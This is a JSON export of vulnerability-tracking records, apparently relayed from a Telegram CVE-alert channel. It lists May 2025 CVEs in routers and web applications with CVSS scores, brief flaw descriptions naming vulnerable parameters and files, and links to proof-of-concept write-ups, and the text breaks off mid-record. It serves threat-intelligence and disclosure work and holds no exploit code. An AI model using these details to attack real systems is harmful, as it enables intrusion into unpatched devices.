"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45788", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15621", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45788\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow via the comment parameter in setMacFilterRules.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T19:54:26.197Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A3100R-2/README.md", "creation_timestamp": "2025-05-08T20:24:03.000000Z"}, {"uuid": "03ebbbfb-703e-42b6-b307-4e4b645daed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45787", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15620", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45787\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow viathe comment parameter in setIpPortFilterRules.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T19:56:00.956Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/tree/main/ToTolink/A3100R-1", "creation_timestamp": "2025-05-08T20:24:02.000000Z"}, {"uuid": "1da307f9-16a2-4d8b-8d01-c36fbed92221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45789", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15619", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45789\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A3100R V5.9c.1527 is vulnerable to buffer overflow via the urlKeyword parameter in setParentalRules.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T19:57:39.687Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A3100R-3/README.md", "creation_timestamp": "2025-05-08T20:24:01.000000Z"}, {"uuid": "f42e271d-85c8-445a-9fc7-dae45ba5ff3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4532", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15921", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4532\n\ud83d\udd25 CVSS Score: 7.3 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in Shanghai Bairui Information Technology SunloginClient 15.8.3.19819. This affects an unknown part in the library process.dll of the file sunlogin_guard.exe. The manipulation leads to uncontrolled search path. Local access is required to approach this attack. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T06:00:10.356Z\n\ud83d\udccf Modified: 2025-05-11T06:00:10.356Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308277\n2. https://vuldb.com/?ctiid.308277\n3. https://vuldb.com/?submit.566141\n4. https://www.yuque.com/ba1ma0-an29k/nnxoap/ey9gzmpiqfltiici?singleDoc", "creation_timestamp": "2025-05-11T06:28:03.000000Z"}, {"uuid": "7f3ef4cf-1857-4db5-8b33-7310accd69b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4549", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16030", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4549\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical was found in Campcodes Online Food Ordering System 1.0. This vulnerability affects unknown code of the file /routers/register-router.php. The manipulation of the argument Name leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T22:00:06.655Z\n\ud83d\udccf Modified: 2025-05-12T18:53:17.173Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308296\n2. https://vuldb.com/?ctiid.308296\n3. https://vuldb.com/?submit.567549\n4. https://github.com/jhs1121/cve/issues/3\n5. https://www.campcodes.com/", "creation_timestamp": "2025-05-12T19:29:20.000000Z"}, {"uuid": "1f1dc4f2-7881-4659-816e-71792dc03f87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45846", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16117", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45846\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: ALFA AIP-W512 v3.2.2.2.3 was discovered to contain an authenticated stack overflow via the torrentsindex parameter in the formBTClinetSetting function.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-13T14:26:30.168Z\n\ud83d\udd17 References:\n1. https://github.com/regainer27/CVE-key/tree/main/ALFA/AIP%20W512/bo4\n2. https://files.alfa.com.tw/?dir=%5B2%5D%20WiFi%20Home%20Router/AIP-W512", "creation_timestamp": "2025-05-13T14:30:37.000000Z"}, {"uuid": "24cce12b-c691-40f6-9ccc-4c1754af7976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45513", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15860", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45513\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tenda FH451 V1.0.0.9 has a stack overflow vulnerability in the function.P2pListFilter.\n\ud83d\udccf Published: 2025-05-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-10T02:08:20.629Z\n\ud83d\udd17 References:\n1. https://github.com/Eu21ka/cve_report/blob/master/The%20router%20Tenda%20FH451%20V1.0.0.9%20of%20Shenzhen%20Jixiang%20Tenda%20Technology%20Co.%2C%20Ltd.%20has%20a%20stack%20overflow%20vulnerability.md", "creation_timestamp": "2025-05-10T02:26:30.000000Z"}, {"uuid": "a1edf239-d1f5-4c57-b176-931c3b347d91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4511", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15908", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4511\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in vector4wang spring-boot-quick up to 20250422. It has been rated as critical. This issue affects the function ResponseEntity of the file /spring-boot-quick-master/quick-img2txt/src/main/java/com/quick/controller/Img2TxtController.java of the component quick-img2txt. The manipulation leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-10T18:31:04.795Z\n\ud83d\udccf Modified: 2025-05-10T18:31:04.795Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308231\n2. https://vuldb.com/?ctiid.308231\n3. https://vuldb.com/?submit.563538\n4. https://github.com/ShenxiuSec/cve-proofs/blob/main/POC-20250422-01.md", "creation_timestamp": "2025-05-10T19:26:54.000000Z"}, {"uuid": "6244f597-bbd5-46cf-85e6-257aa13a3465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45847", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16035", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45847\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: ALFA AIP-W512 v3.2.2.2.3 was discovered to contain an authenticated stack overflow via the targetAPMac parameter in the formWsc function.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T18:32:32.034Z\n\ud83d\udd17 References:\n1. https://files.alfa.com.tw/?dir=%5B2%5D%20WiFi%20Home%20Router/AIP-W512\n2. https://github.com/regainer27/CVE-key/tree/main/ALFA/AIP%20W512/bo1", "creation_timestamp": "2025-05-12T19:29:25.000000Z"}, {"uuid": "9e8ea736-59c8-4021-a635-3a540556046e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4547", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16028", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4547\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in SourceCodester Web-based Pharmacy Product Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Add User Page. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Multiple parameters might be affected.\n\ud83d\udccf Published: 2025-05-11T21:00:07.162Z\n\ud83d\udccf Modified: 2025-05-12T18:56:07.490Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308294\n2. https://vuldb.com/?ctiid.308294\n3. https://vuldb.com/?submit.567497\n4. https://github.com/csehacademy/CVEs/blob/main/Web-based%20Pharmacy%20Product%20Management%20System%20-%20Stored%20XSS.md\n5. https://www.sourcecodester.com/", "creation_timestamp": "2025-05-12T19:29:18.000000Z"}, {"uuid": "1af9c698-792d-4cb5-8c62-de5f5944156e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4546", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16027", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4546\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in 1Panel-dev MaxKB up to 1.10.7. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Knowledge Base Module. The manipulation leads to csv injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.10.8 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early about this disclosure.\n\ud83d\udccf Published: 2025-05-11T20:00:06.708Z\n\ud83d\udccf Modified: 2025-05-12T18:56:54.462Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308293\n2. https://vuldb.com/?ctiid.308293\n3. https://vuldb.com/?submit.566517\n4. https://github.com/yaowenxiao721/Poc/blob/main/MaxKB/MaxKB-poc1.md", "creation_timestamp": "2025-05-12T19:29:17.000000Z"}, {"uuid": "1e97b643-c900-4665-aa63-da8db885f34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45841", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16034", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45841\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the text parameter in the setSmsCfg function.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T18:39:03.700Z\n\ud83d\udd17 References:\n1. https://www.totolink.net/\n2. https://github.com/regainer27/CVE-key/blob/main/bo1/README.md\n3. https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html", "creation_timestamp": "2025-05-12T19:29:24.000000Z"}, {"uuid": "f582cfef-0b3b-4ebe-bff9-9d68f7679d92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4540", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15930", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4540\n\ud83d\udd25 CVSS Score: 7.3 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in MTSoftware C-Lodop 6.6.1.1. It has been rated as critical. This issue affects some unknown processing of the component CLodopPrintService. The manipulation leads to unquoted search path. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 6.6.13 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2025-05-11T15:31:04.118Z\n\ud83d\udccf Modified: 2025-05-11T15:31:04.118Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308285\n2. https://vuldb.com/?ctiid.308285\n3. https://vuldb.com/?submit.566789\n4. https://mega.nz/folder/A5lQQKpL#AF3WPzST3X1Ot6B6fs3bow", "creation_timestamp": "2025-05-11T16:27:49.000000Z"}, {"uuid": "d618d62c-88c6-47aa-aa99-9410f11a024a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4510", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15905", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4510\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Changjietong UFIDA CRM 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /optnty/optntyday.php. The manipulation of the argument gblOrgID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-10T18:00:06.553Z\n\ud83d\udccf Modified: 2025-05-10T18:00:06.553Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308230\n2. https://vuldb.com/?ctiid.308230\n3. https://vuldb.com/?submit.565531\n4. https://github.com/Michael19820315/CVE/issues/1", "creation_timestamp": "2025-05-10T18:29:20.000000Z"}, {"uuid": "70d2cb81-6add-4479-a364-9d17d857d6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16000", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4556\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The web management interface of Okcat Parking Management Platform from ZONG YU has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.\n\ud83d\udccf Published: 2025-05-12T02:11:56.864Z\n\ud83d\udccf Modified: 2025-05-12T17:49:41.498Z\n\ud83d\udd17 References:\n1. https://www.twcert.org.tw/tw/cp-132-10110-114f0-1.html\n2. https://www.twcert.org.tw/en/cp-139-10111-b78e6-2.html", "creation_timestamp": "2025-05-12T18:31:51.000000Z"}, {"uuid": "d29595d9-6763-4b96-8b8e-46f3411b74cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4504", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15897", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4504\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in SourceCodester Online College Library System 1.0. It has been classified as critical. Affected is an unknown function of the file /index.php. The manipulation of the argument Category leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T14:31:05.328Z\n\ud83d\udccf Modified: 2025-05-10T14:31:05.328Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308220\n2. https://vuldb.com/?ctiid.308220\n3. https://vuldb.com/?submit.567156\n4. https://github.com/krookies/cve/issues/1\n5. https://www.sourcecodester.com/", "creation_timestamp": "2025-05-10T15:26:22.000000Z"}, {"uuid": "1a7e6285-9c33-4cb1-85ba-2a274b6ef035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4507", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15904", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4507\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in Campcodes Online Food Ordering System 1.0. This affects an unknown part of the file /routers/add-item.php. The manipulation of the argument price leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T16:31:04.801Z\n\ud83d\udccf Modified: 2025-05-10T16:31:04.801Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308223\n2. https://vuldb.com/?ctiid.308223\n3. https://vuldb.com/?submit.567170\n4. https://github.com/TEhS411/cve/issues/6\n5. https://www.campcodes.com/", "creation_timestamp": "2025-05-10T17:38:13.000000Z"}, {"uuid": "47c98cd0-97d3-4550-aad8-ba3524cc8a52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4515", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15911", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4515\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, was found in Zylon PrivateGPT up to 0.6.2. This affects an unknown part of the file settings.yaml. The manipulation of the argument allow_origins leads to permissive cross-domain policy with untrusted domains. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-10T20:31:04.532Z\n\ud83d\udccf Modified: 2025-05-10T20:31:04.532Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308235\n2. https://vuldb.com/?ctiid.308235\n3. https://vuldb.com/?submit.564451\n4. https://gist.github.com/superboy-zjc/2a727cb0c1d468f21a91e0416d006ffe", "creation_timestamp": "2025-05-10T21:27:06.000000Z"}, {"uuid": "c878b20b-1d8d-4403-830e-d09d83269679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4513", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15910", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4513\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic was found in Catalyst User Key Authentication Plugin 20220819 on Moodle. Affected by this vulnerability is an unknown functionality of the file /auth/userkey/logout.php of the component Logout. The manipulation of the argument return leads to open redirect. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-10T19:31:04.319Z\n\ud83d\udccf Modified: 2025-05-10T19:31:04.319Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308233\n2. https://vuldb.com/?ctiid.308233\n3. https://vuldb.com/?submit.564090\n4. https://github.com/Cyber-Wo0dy/report/blob/main/moodle/key_user_authentication/v2022081901/key_user_authentication_open_redirection", "creation_timestamp": "2025-05-10T20:27:10.000000Z"}, {"uuid": "6b405eb8-72bd-4131-954a-65995749b8ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4502", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15896", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4502\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability has been found in Campcodes Sales and Inventory System 1.0 and classified as critical. This vulnerability affects unknown code of the file /pages/creditor_add.php. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T13:31:05.680Z\n\ud83d\udccf Modified: 2025-05-10T13:31:05.680Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308218\n2. https://vuldb.com/?ctiid.308218\n3. https://vuldb.com/?submit.567144\n4. https://github.com/0x0a1lphg/CVE/issues/1\n5. https://www.campcodes.com/", "creation_timestamp": "2025-05-10T14:27:25.000000Z"}, {"uuid": "ee5e45a8-da16-4d4c-bc49-6053b9586760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4503", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15895", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4503\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Campcodes Sales and Inventory System 1.0 and classified as critical. This issue affects some unknown processing of the file /pages/customer_update.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T14:00:05.767Z\n\ud83d\udccf Modified: 2025-05-10T14:00:05.767Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308219\n2. https://vuldb.com/?ctiid.308219\n3. https://vuldb.com/?submit.567145\n4. https://github.com/0x0a1lphg/CVE/issues/2\n5. https://www.campcodes.com/", "creation_timestamp": "2025-05-10T14:27:24.000000Z"}, {"uuid": "9480fc60-2ad4-4550-9099-5680368571d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4500", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15894", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4500\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in code-projects Hotel Management System 1.0. Affected by this issue is the function Edit of the component Edit Room. The manipulation of the argument roomnumber leads to stack-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T12:31:04.234Z\n\ud83d\udccf Modified: 2025-05-10T12:31:04.234Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308216\n2. https://vuldb.com/?ctiid.308216\n3. https://vuldb.com/?submit.567110\n4. https://github.com/zzzxc643/cve/blob/main/HOTEL_MANAGEMENT_SYSTEM.md\n5. https://code-projects.org/", "creation_timestamp": "2025-05-10T13:27:15.000000Z"}, {"uuid": "9a66533a-0cfa-496b-aefc-97a01c892997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4501", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15893", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4501\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in code-projects Album Management System 1.0. This affects the function searchalbum of the component Search Albums. The manipulation leads to stack-based buffer overflow. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T13:00:07.296Z\n\ud83d\udccf Modified: 2025-05-10T13:00:07.296Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308217\n2. https://vuldb.com/?ctiid.308217\n3. https://vuldb.com/?submit.567111\n4. https://github.com/zzzxc643/cve/blob/main/ALBUM_MANAGEMENT_SYSTEM.md\n5. https://code-projects.org/", "creation_timestamp": "2025-05-10T13:27:14.000000Z"}, {"uuid": "bf0f67de-4e9f-4880-abd4-6fceebfe835b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4505", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15900", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4505\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /category.php. The manipulation of the argument categoryname leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T15:31:06.363Z\n\ud83d\udccf Modified: 